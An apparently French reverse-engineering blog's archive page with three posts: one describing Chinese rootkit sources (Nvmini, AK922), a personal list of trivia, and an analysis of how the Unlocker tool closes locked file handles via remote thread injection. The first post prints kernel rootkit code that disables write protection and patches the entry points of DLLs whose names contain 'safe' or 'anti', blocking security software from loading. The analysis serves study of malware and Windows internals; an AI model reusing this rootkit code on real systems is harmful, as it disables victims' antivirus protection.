Archive for mars, 2008

Sudami

Hummmm je surfais tranquillement sur le net en train de chercher de la doc sur des trucs perdu de Windows quand je suis tombé sur un blog chinois, mais pas n’importe quel blog ! Un putain de blog de ouf sous amphétamines qui prend de la cocaïne. http://hi.baidu.com/sudami/ est tout simplement monstrueux, même si je capte rien au chinois, rien que voir les codes et les schémas qui sont de dessus, ca me fait tourner la tête.

Nvmini, contient le code d’un rootkit kernel-land pas mal foutu, d’après ce que j’ai vu qu’il effectuait les opérations suivantes :

  • Installation de hook dans la SSDT sur les API ZwSaveKey, ZwQueryDirectoryFile, ZwClose, ZwEnumerateKey, ZwLoadDriver, ZwDeleteValueKey et ZwDeleteKey.
  • Le rk installe une callback sur le chargement de module avec l’API PsSetLoadImageNotifyRoutine. La routine de callback est la suivante :
    VOID
    MyLoadImageRoutine(
        IN PUNICODE_STRING ImageName,
        IN HANDLE ProcessId,
        IN PIMAGE_INFO ImageInfo
        )
    {
    	BOOL  bFind;
    	ULONG Length;
    	WCHAR Name[300];
    	PEPROCESS   proc;
    	PVOID       pImageBase;
    	SIZE_T      dwSize;
    	PVOID       pOEP;
    	KIRQL       oldIrql;
    	PIMAGE_DOS_HEADER       dos;
        PIMAGE_NT_HEADERS       nth;
    	PIMAGE_OPTIONAL_HEADER  poh;
    	PHYSICAL_ADDRESS physicalAddress;
    
    	if (ImageName == NULL) {
            return;
        }
    
        Length = ImageName->Length;
        if ((Length == 0) || (ImageName->Buffer == NULL)) {
            return;
        }
    
    	bFind = FALSE;
    	RtlCopyMemory(Name , ImageName->Buffer, ImageName->MaximumLength );
    	_wcsupr(Name);
    
    	if ( ( (wcsstr( Name, L"DLLWM.DLL" ) != NULL) && (wcsstr( Name, L"SYSTEM32" ) != NULL) ) ||
    			( (wcsstr( Name, L"WININFO.RXK" ) != NULL) && (wcsstr( Name, L"COMMON FILES" ) != NULL) ) ||
    			( (wcsstr( Name, L"RICHDLL.DLL" ) != NULL) && (wcsstr( Name, L"WINDOWS" ) != NULL) ) ||
    			( (wcsstr( Name, L"RICHDLL.DLL" ) != NULL) && (wcsstr( Name, L"WINNT" ) != NULL) ) ||
    			(wcsstr( Name, L"WINDHCP.DLL" ) != NULL) ||
    			(wcsstr( Name, L"DLLHOSTS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"NOTEPAD.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RPCS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RDSHOST.DLL" ) != NULL) ||
    			(wcsstr( Name, L"LGSYM.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RUND11.DLL" ) != NULL) ||
    			(wcsstr( Name, L"MDDDSCCRT.DLL" ) != NULL) ||
    			(wcsstr( Name, L"WSVBS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"CMDBCS.DLL" ) != NULL) ||
    			(wcsstr( Name, L"UPXDHND.DLL" ) != NULL) ||
    			(wcsstr( Name, L"RDFHOST.DLL" ) != NULL) ||
    			(wcsstr( Name, L"safe" ) != NULL) ||
    			(wcsstr( Name, L"anti" ) != NULL) ) {
    				bFind = TRUE;
    	}
    
    	if ( bFind == FALSE ) {
    		return;
    	}
    
    	if( !NT_SUCCESS(PsLookupProcessByProcessId( ProcessId, &proc )) ) {
    		return;
    	}
    
    	KeAttachProcess (proc);
    
    	pImageBase = ImageInfo->ImageBase;
    	dwSize     = ImageInfo->ImageSize;
    
    	try {
    		ProbeForRead( pImageBase, dwSize, sizeof(UCHAR));
    	} except(EXCEPTION_EXECUTE_HANDLER) {
    		return;
    	}
    
    	dos     = (PIMAGE_DOS_HEADER) pImageBase;
        nth     = (PIMAGE_NT_HEADERS) (dos->e_lfanew + (char *)pImageBase);
    	poh     = (PIMAGE_OPTIONAL_HEADER) &nth->OptionalHeader;
    
    	if( (dos->e_magic != 0x5a4d) || (nth->Signature != 0x00004550) ) {// "MZ" "PE\0\0"
    		return;
    	}
    
    	pOEP = (PVOID)( poh->AddressOfEntryPoint + (char *)pImageBase );
    	physicalAddress = MmGetPhysicalAddress( pOEP );
    
    	ProbeForWrite ( pOEP, 5, sizeof(CHAR));
    
    	WPOFF(); // write protection disabled, 16eme bit du cr0 à 0, permet d'écrire en ring0 dans des pages RO
    	oldIrql = KeRaiseIrqlToDpcLevel();
    
    	RtlCopyMemory ( (BYTE*)pOEP, g_Code, 5 );
    
    	KeLowerIrql(oldIrql);
    	WPON();
    
    	KeDetachProcess();
    }

    Cette routine va être appelée au moment du chargement de chaque DLL. Comme vous pouvez le voir, la routine va vérifier si le nom de la DLL chargée apparaît dans une liste prédéfinie, si oui, alors le thread courant s’attache au contexte du process qui charge la DLL avec KeAttachProcess, retrouve l’EntryPoint de DLL en parcourant son PE Header puis le modifie par le code contenu dans la var g_Code qui est :

    BYTE g_Code[5] = { 0x33, 0xC0, 0x0C, 0x00, 0x00 };

    Ce qui correspond en asm à :

    33C0          XOR EAX, EAX
    0C 00         OR AL, 0

    La doc nous dit que si le DllMain d’une fonction renvoie 0, alors la DLL n’est pas chargée dans le process. D’ailleurs je me demande ou est le RET du code copié sur l’EP, pas très pratique si la DllMain ne retourne pas … En tout cas c’est joli trick pour éviter que certaines DLL ne soient loadées.

  • On retrouve aussi dans le fichier HideService.c le code posté sur rootkit.com par i.m.weasel permettant de planqué un service. Ce code va, depuis le noyau, patché le process services.exe qui tient à jour une liste de structures SERVICE_RECORD contenant des infos sur les services en cours.
  • Je vous laisse découvrir le reste, mais il y a des fonctions inachevées. Ca reste quand même un code sympa à étudier.

Par contre un post qui m’a fait pleurer, AK922, contient le code de plusieurs version du rootkit AK922, celui même que j’avais reversé … Le lien sur la page renvoie sur un fichier .sys mais il s’agit bien d’une archive .rar qui contient les sources. Si vous les voulez, je les ai uppé sur mon repo en virant les bouts de chinois des noms de fichiers.

La source du binaire que j’avais reversé n’est pas présente dans l’archive, cependant celle qui s’en rapproche le plus se trouve dans le ak922_sys_c.zip et franchement en la voyant je suis assez content de ce que j’ai réussi à comprendre dessus, parce que ca fait vraiment de la peur. Pour rappel, AK922 est un rootkit assez original qui va installer un hook sur la routine IoCompleteRequest. Cette routine est très importante pour l’I/O Manager, c’est elle qui va compléter les IRP en les renvoyant à l’appelant. En contrôlant cette routine le rootkit peut donc voir le retour de la requête fait par exemple par un syscall comme NtQueryDirectoryFile et modifier son contenu. Par contre le code qui gère ca vient d’ailleurs, c’est affolant, regardez le code de la fonction DispatchIofCompleteRequest et vous verrez. Remarquez que cette fonction est la version améliorée de AkHideFile qui se trouve dans le Mian.rar, c’est celle-ci que j’ai reversé. Enfin, bref, ca me fout un peu les boules …

Je vous laisse surfer sur le blog de Sudami, c’est vraiment génial, ce gars est un super coder/reverser. Dommage que ca doit en chinois. Ce que je retiens, c’est qu’en voyant ce genre de blogs, je me dis que les chinois sont vraiment des brutes épaisses et qu’au final ils ont vraiment les moyens de faire très mal. C’est vrai, ils ont certains avantages certes, mais à les voir, on à l’impression qu’ils restent dans leur monde, entre eux, à partager les découvertes et travaux dans leur langue ! Ils ont rippé ce qu’ils ont pu trouver dans les docs/ebooks/sites/blogs de par le net et ont mit ca à leur sauce puis ils ont cherché par eux mêmes. Au final, ca paye bien, ils savent faire des rootkits :] Et pendant ce temps là, nous, on les regarde …

Au passage, les blogs de ses potes, lynux et micropoint, ont l’air bien puissants aussi …

5 comments mars 26th, 2008

Rydymy

Ca y est j’ai craqué dans ma tête de maladouf, après Nono, Newsoft, Jme et Sid, je me suis décidé à vous raconter 6 choses complètement useless sur moi. Attention, si vous êtes québécois, ne lisez pas ce post …

  1. J’aime les chocapicz, si mon petit dej’ n’est pas constitué à 95% de chocapicz, je meurs ….De plus, j’aime me lever tard, le plus tard possible même, entre 11h et 13h c’est parfait. Je préfère travailler la nuit lorsque les gens normaux sont parti dormir, IRC est plus calme à ce moment là. Sauf les chans ou trainent des québécois, ils ont réveillés à 3h du mat eux et me highlight pour rien. Faudrait les bannir eux je pense.
  2. Je n’aime pas les québécois, ils parlent une langue de tapz, ça fait 3 ans que j’essaye de l’apprendre … D’ailleurs c’est à cause d’eux que je fais autant de fautes quand j’écris !
  3. Me faire faire de la programmation Web quelqu’elle soit après minuit me transforme en gremlin Mogwaï-like capable d’installer un serveur SQL sur une plan9 dans une VM sous CentOS avec un PAX, comprenez que je déteste cela. Mes langages de prédilection sont le C et le python, pour conquérir le monde c’est largement suffisant:)
  4. Je suis un fan des RSS, je les collectionne, je trouve que c’est le moyen le plus pratique pour suivre l’info sur le net et être au courant le plus rapidement possible. Mes RSS sont constitué de sites de news, aussi bien que de blogs, de forums, de mailing-lists et de newgroups. Je pense que tout est bon à prendre, quelque soit la provenance et la qualité de l’info, je n’hésite pas à m’abonner à des RSS russes ou chinois, le code n’a pas le langue favorite ! (les commentaires si …)
  5. Je bosse tout le temps avec de la zik, en ce moment j’ai une période metal/screamo/hardcore, j’écoute des groupes comme In Fear And Faith, The Bright Star Alliance, Saosin, Sugartown Cabaret et Tanen. Travailler avec de la zik m’aide à m’enfermer dans mon monde et à rester concentrer (ou pas).
  6. J’ai fait une pyramide à 5 étages avec mes rouleaux de PQ usagés …

Sur ce, je retourne rien faire.

8 comments mars 15th, 2008

Unlocker

Un comment laissé sur mon blog récemment a attiré mon attention, j’ai donc décidé de répondre par mail à son auteur. Après plusieurs échanges j’ai décidé de compiler mes découvertes et de vous en faire profiter.

Yo Regis, j’ai vu votre comment et j’ai décidé de regarder d’un peu plus près le tool unlocker afin de comprendre son fonctionnement. Je l’ai donc installé en VM et analysé principalement avec IDA et ollydbg. J’étais vraiment curieux alors j’ai poussé mes investigations un peu loin, à vous de juger, en tout cas unlocker n’a plus beaucoup de secrets pour moi à présent, modulo les erreurs que j’ai pu faire bien sur. Voici ce que j’ai compris de son fonctionnement, attention prenez votre respiration, c’est partit !

Les fichiers exécutables sont mit dans « C:\Program Files\Unlocker », on y trouve :

Unlocker.exe
UnlockerAssistant.exe
UnlockerCOM.dll
UnlockerHook.dll
UnlockerDriver5.sys

Alors après une petite analyse j’ai établit les dépendances :

Unlocker.exe -> UnlockerDriver5.sys
UnlockerAssistant.exe -> UnlockerHook.dll

UnlockerCOM.dll est chargé dans explorer.exe avec les shellextension utilisant les clés :
{DDE4BEEB-DDE6-48fd-8EB5-035C09923F83}
Software\\Microsoft\\Windows\\CurrentVersion\\Shell Extensions\\Approved
folder\\shellex\\ContextMenuHandlers\\UnlockerShellExtension
AllFileSystemObjects\\shellex\\ContextMenuHandlers\\UnlockerShellExtension
software\\classes\\clsid\\UnlockerShellExtension

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{DDE4BEEB-DDE6-48fd-8EB5-035C09923F83} contient par exemple
defaut : C:\Program Files\Unlocker\UnlockerCOM.dll
ThreadindModel : Apartment

Ces clés sont mises en place lors de l’installation.

Pour plus d’infos sur les extensions shell voir : Adding Explorer Bars
et la prog COM : Step by Step COM Tutorial

Ok, ca c’est pour le shell, qui est en fait juste une interface pour lancer le Unlocker.exe.

Sinon j’ai remarqué que UnlockerHook.dll au moment d’être chargé par UnlockerAssistant.exe va installer des hooks de messages de type WH_CBT (création de fenêtres..) avec l’api SetWindowsHookEx. Quand elle est injecté dans un nouveau process elle va mettre un inline hook sur la fonction SHFileOperationW mais uniquement lorsque quelle se retrouve injecté dans explorer.exe. Je n’ai pas trop bien compris a quoi servait le hook surtout que les valeurs de retour de la fonction ne sont pas documentées, je pense que le développeur a dur étudier le comportement de la fonction et comprendre par lui même la signification de certaines valeurs de retour. De toute façon ce n’est pas là qu’est le coeur du fonctionnement du soft. Avec plus de recherches il y a moyen de comprendre pourquoi il hook cette fonction imo.

Bon, en fait le problème c’est les handles qui sont dit « locker » mais qu’est ce que cela veut dire ? Si on regarde le prototype de CreateFile on a :

HANDLE WINAPI CreateFile(
__in LPCTSTR lpFileName,
__in DWORD dwDesiredAccess,
__in DWORD dwShareMode,
__in LPSECURITY_ATTRIBUTES lpSecurityAttributes,
__in DWORD dwCreationDisposition,
__in DWORD dwFlagsAndAttributes,
__in HANDLE hTemplateFile
);

Le param dwShareMode correspond à la façon dont le handle pourra être partagé entre les processus. Dans le cas ou celui ci vaut 0, le handle ne pourra pas être ouvert par un autre process tant qu’il ne sera pas fermé par CloseHandle par le process qui l’a ouvert en premier. C’est le kernel qui effectue c’est vérification et qui renvoie une erreur au subsytem disant « Le fichier est utiliser par une autre application blablaba… »

Le programme principal se situe donc dans Unlocker.exe, lorsqu’on veut « unlocker » un fichier son path est passé en argument au programme qui va ensuite procéder de 2 façons :

- Dans le cas ou le fichier est une DLL, le tool va crée un utiliser CreateToolhelp32Snapshot pour avoir une « photo » de tous les process lancés (option TH32CS_SNAPPROCESS) puis énumérer les dll chargées dans chacun en faisant aussi un snapshot mais cette fois avec l’option TH32CS_SNAPMODULE. A partir de cette liste il va chercher dans chacun des process le nom des modules puis voir s’il trouve la DLL concernée. Si oui alors il injecte un code dans le process avec le triplet VirtualAllocEx/WriteProcessMemory/CreateRemoteThread. Le code injecté va donc se retrouver dans le process qui a chargé la DLL puis va utiliser GetModuleHandle pour obtenir un handle dessus et FreeLibrary pour la décharger du processus.

Remarquez que je trouve un peu con de faire comme ca car le handle sur la DLL est en fait son ImageBase, qu’on peut très bien obtenir depuis le snapshot, il suffirait donc d’injecter un thread pointant sur FreeLibrary avec en argument l’ImageBase de la DLL pour la décharger.

- Dans le cas d’un fichier « normal », le tool procède d’une manière différente. Pour pouvoir unlocker le fichier, il doit fermer le handle qui est ouvert par un processus X. Cette fois ci il s’agit d’un « vrai » handle, c’est à dire qu’il fait référence à un objet noyau contrairement à un handle sur une DLL qui n’est juste qu’une adresse sur le PE header de celle ci en mémoire. Bref, l’idée consiste donc à énumérer les handles de chaque process, de la scanner afin de trouver le ou les process qui ont ouvert le handle sur ce fichier. Le problème c’est que sous Windows, on ne peut simplement obtenir la liste des handles d’un process, il faut en fait les récupérer dans la liste de TOUS les handles ouvert par le système. Dans le cas de unlocker celui-ci utilise l’API ZwQuerySystemInformation avec l’InformationClass SystemHandleInformation, cette fonction nous renvoie une liste de structures SYSTEM_HANDLE_INFORMATION qui sont de la forme :

typedef struct _SYSTEM_HANDLE_INFORMATION { // Information Class 16
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags; // 0×01 = PROTECT_FROM_CLOSE, 0×02 = INHERIT
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
}

Unlocker va utiliser 3 champs de cette structure :

- ProcessId, le PID du process qui à ouvert le handle
- Handle, la valeur du handle dans le context du process qui l’a ouvert (n’oubliez pas, un handle est spécifique uniquement dans le contexte du process qui l’a ouvert !)
- Object, l’adresse dans le kernel de l’objet, pour un fichier c’est un pointeur sur une structure FILE_OBJECT par exemple.

Unlock va d’abord ouvrir un handle sur le process à partir de son PID avec les flags VM_READ|DUP_HANDLE|QUERY_INFORMATION puis utiliser l’api DuplicateHandle, cette api permet comme son nom l’indique de copier un handle dans le contexte d’un autre, c’est très pratique, en effet unlocker va copier le handle dans son contexte afin de pouvoir le manipuler et obtenir des infos dessus, DuplicateHandle est appelé avec les params suivant (extrait de ollydbg) :
00126F94 00000050 |hSourceProcess = 00000050 (window) <-PID du process visé
00126F98 000000C8 |hSource = 000000C8 (window) <- valeur du handle
00126F9C FFFFFFFF |hTargetProcess = FFFFFFFF <- handle de notre process,
00126FA0 0012B654 |phTarget = 0012B654 <- pointeur sur le futur handle
00126FA4 00000000 |Access = 0
00126FA8 00000000 |Inheritable = FALSE
00126FAC 00000000 \Options = 0

Windows autorise le fait de dupliquer le handle, cela veut dire que si on duplique le handle d’un fichier ouvert avec dwShareMode à 0 dans notre process, on se retrouve avec les même accès que le process maître sur le fichier. C’est assez particulier comme fonctionnement je l’avoue mais Windows l’autorise donc c’est cool. En gros, si je duplique un handle « locker » de fichier dans mon process, je peux très bien par la suite lire et écrire dedans comme si j’étais le process original (dépends des droits mit dans dwDesiredAccess au départ).

Une fois que le handle est « copié » dans le contexte de unlocker.exe, le tool va enfin utilise son driver. Après analyse sous IDA il apparait que le driver va servir à retrouver le nom de l’objet référencé dans le kernel. En effet, unlocker va communiquer avec le driver à travers les api WriteFile et ReadFile. La première api sert à envoyer au driver une structure contenant le handle visé et le pointeur sur l’objet kernel, cette structure à donc de la forme de :

typedef struct _RequestObjectName
{
HANDLE Handle;
PVOID Object;
}RequestObjectName, * PRequestObjectName;

Quand le driver reçoit cette structure il va attendre l’appel de l’api ReadFile pour utiliser l’api kernel, ObReferenceObjectByHandle sur le paramètre Handle de la structure RequestObjectName pour retrouver le pointeur sur l’objet dans le kernel. Il le compare ensuite avec le champ Object de la structure pour être sur que unlocker à demander d’analyser cet objet précis puis appel la fonction ObQueryNameString pour obtenir le nom de l’objet qui sera recopier dans un buffer user-land sous forme de structure UNICODE_STRING.

De retour dans unlocker, le code continue d’énumérer ainsi les process ayant ouvert un handle sur le fichier concerné et les énumère dans la listbox.

Quand on demande d’unlocker un fichier, le tool va injecter un thread dans le process visé qui va utiliser le même code que celui qui sert à décharger la une DLL. En fait ce code est assez marrant, il fonctionne de cette façon :

Le code injecté se retrouve soit avec le path de la dll à décharger soit avec la valeur du handle dans le contexte du process visé. Il utilise uniquement 3 fonctions, GetModuleHandle, FreeLibrary et CloseHandle. Il commence par récup un handle sur la DLL avec GetModuleHandle puis entre dans une boucle de 16 itérations, qui va appeler FreeLibray et CloseHandle. Si le développeur à choisit d’utiliser une boucle c’est parce que chaque DLL possède un compteur référençant le nombre de chargements effectués avec LoadLibrary, en faisant une boucle, le tool va décrémenter le compteur (à travers FreeLibrary) référençant le nombre d’appel de LoadLibray sur cette DLL, quand ce compteur atteint 0, FreeLibray décharger la DLL. Dans le cas d’un simple handle, le GetModuleHandle va foirer (son retour n’est pas checké), ce n’est pas grave, le CloseHandle va le fermer ensuite et quitter la boucle.

Voici le code vu sous IDA :

; =============== S U B R O U T I N E =======================================
.text:004105B1
; Attributes: bp-based frame

sub_4105B1 proc near                    ; DATA XREF: sub_41178F+163 o
                                        ; sub_41178F+186 o
compteur= dword ptr -4
remoteinfos= dword ptr  8

	push ebp      ; remotesinfos struct :
                  ; +0 @FreLibrary
                  ; +4 @GetModuleHandle
                  ; +8 @CloseHandle
                  ; +C handle/full dll path
	mov ebp, esp
	push ecx
	and [ebp+compteur], 0
	push ebx
	push esi
	mov esi, [ebp+remoteinfos]
	push edi
	lea ebx, [esi+0Ch]
	push ebx
	call dword ptr [esi+4]              ; GetModuleHandle
	jmp short loc_4105DC

.text:004105C8                         loc_4105C8:                             ; CODE XREF: sub_4105B1+2F j
	cmp [ebp+compteur], 16
	jge short loc_4105E2
	push edi
	call dword ptr [esi]                ; FreeLibrary
	push edi
	call dword ptr [esi+8]              ; CloseHandle
	push ebx
	call dword ptr [esi+4]              ; GetModuleHandle
	inc [ebp+compteur]

loc_4105DC:                             ; CODE XREF: sub_4105B1+15 j
	mov edi, eax
	test edi, edi
	jnz short loc_4105C8

loc_4105E2:                             ; CODE XREF: sub_4105B1+1B j
	pop edi
	pop esi
	xor eax, eax
	pop ebx
	leave
	retn 4
sub_4105B1 endp

Cependant DuplicateHandle nous fournit une option intéressante, DUPLICATE_CLOSE_SOURCE, qui comme son nom l’indique permet de fermer le handle directement à la source. L’auteur lui à choisit une autre méthode pour fermer le handle, il injecte un petit code dans le process qui l’a ouvert, pourquoi pas …

Le plus simple que je te conseil est de directement crée un thread avec CreateRemoteThread sur la fonction CloseHandle dans le process visé, en mettant en paramètre de ce thread la valeur du handle à fermer, cela devrait fonctionner à merveille.

Remarquez que pour copier un fichier unlocker va aussi injecter un shellcode qui va directement crée la copie depuis le process ayant ouvert le handle sur le fichier, pour s’en rendre compte il suffit de voir quelles APIs il fournit au shellcode injecté :

push    offset aCreatefilew ; "CreateFileW"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_818], eax
call    esi ; GetProcAddress
push    offset aSetfilepointer ; "SetFilePointer"
push    [ebp+hModule]   ; hModule
mov     [ebp+Buffer], eax
call    esi ; GetProcAddress
push    offset aReadfile ; "ReadFile"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_840], eax
call    esi ; GetProcAddress
push    offset aWritefile ; "WriteFile"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_83C], eax
call    esi ; GetProcAddress
push    offset aClosehandle ; "CloseHandle"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_838], eax
call    esi ; GetProcAddress
push    offset aGlobalalloc ; "GlobalAlloc"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_834], eax
call    esi ; GetProcAddress
push    offset aGlobalfree ; "GlobalFree"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_830], eax
call    esi ; GetProcAddress
push    offset aGetfilesize ; "GetFileSize"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_82C], eax
call    esi ; GetProcAddress
push    offset aSleep   ; "Sleep"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_828], eax
call    esi ; GetProcAddress
push    offset aGetoverlappedr ; "GetOverlappedResult"
push    [ebp+hModule]   ; hModule
mov     [ebp+var_824], eax
call    esi ; GetProcAddress
push    offset aGetlasterror ; "GetLastError"

Je vous laisse imaginer son fonctionnement ….

Pareil pour la copie je pense qu’il suffit juste de faire un DuplicateHandle sur le fichier puis de recopier son contenu depuis notre process.

Pour les actions de renommer et déplacer, unlocker va simplement fermer le handle puis renommer ou déplacer le fichier après.

Bon alors qu’est ce que j’en pense de tout ca, je pense que pour décharger un DLL, unlocker fait bien le boulot, c’est la méthode la plus simple. Par contre dans le cas d’un fichier, l’utilisation d’un driver un peu lourde, il est possible de faire beaucoup plus simple, en effet pour obtenir le nom de l’objet référencé par un handle après l’avoir dupliqué il suffit d’utiliser l’API ZwQueryObject de prototype :

NTSTATUS NtQueryObject(
__in_opt HANDLE Handle,
__in OBJECT_INFORMATION_CLASS ObjectInformationClass,
__out_opt PVOID ObjectInformation,
__in ULONG ObjectInformationLength,
__out_opt PULONG ReturnLength

Il faut l’utiliser avec ObjectInformationClass ObjectTypeInformation et ObjectNameInformation pour obtenir le type et le nom de l’objet référencé par le handle. Cela est très pratique car c’est un syscall Windows et cela évite de coder un driver exprès. J’en veux pour preuve un post que j’ai rédigé il y a déjà quelques temps Playing With Windows Handles et celui de mon padawan Close a remote handle file. Je pense qu’avec ces codes vous avez tout en main pour réaliser un programme mieux que unlocker ;)

J’ai aussi remarqué une chose intéressant, le tool utilise le device LanmanRedirector pour retrouver les fichiers ouverts par les utilisateurs distant, j’ai découvert ca d’abord sous IDA puis après avoir googlé je suis tombé sur cet article, je n’ai malheureusement pas trouvé de code mettant en place ce processus mais avec une analyse plus profonde de unlocker je pense qu’il n’est pas très difficile de recoder cela.

Ouf, j’espère ne pas trop vous avoir soulé avec mes explications, en tout cas j’ai passé un peu de temps à reverser ce tool, ca m’a fait plaisir. Voilà, vous voyez le reverse c’est cool, mangez en :)

15 comments mars 2nd, 2008


Calendar

mars 2008
L Ma Me J V S D
« fév   avr »
 12
3456789
10111213141516
17181920212223
24252627282930
31  

Posts by Month

Posts by Category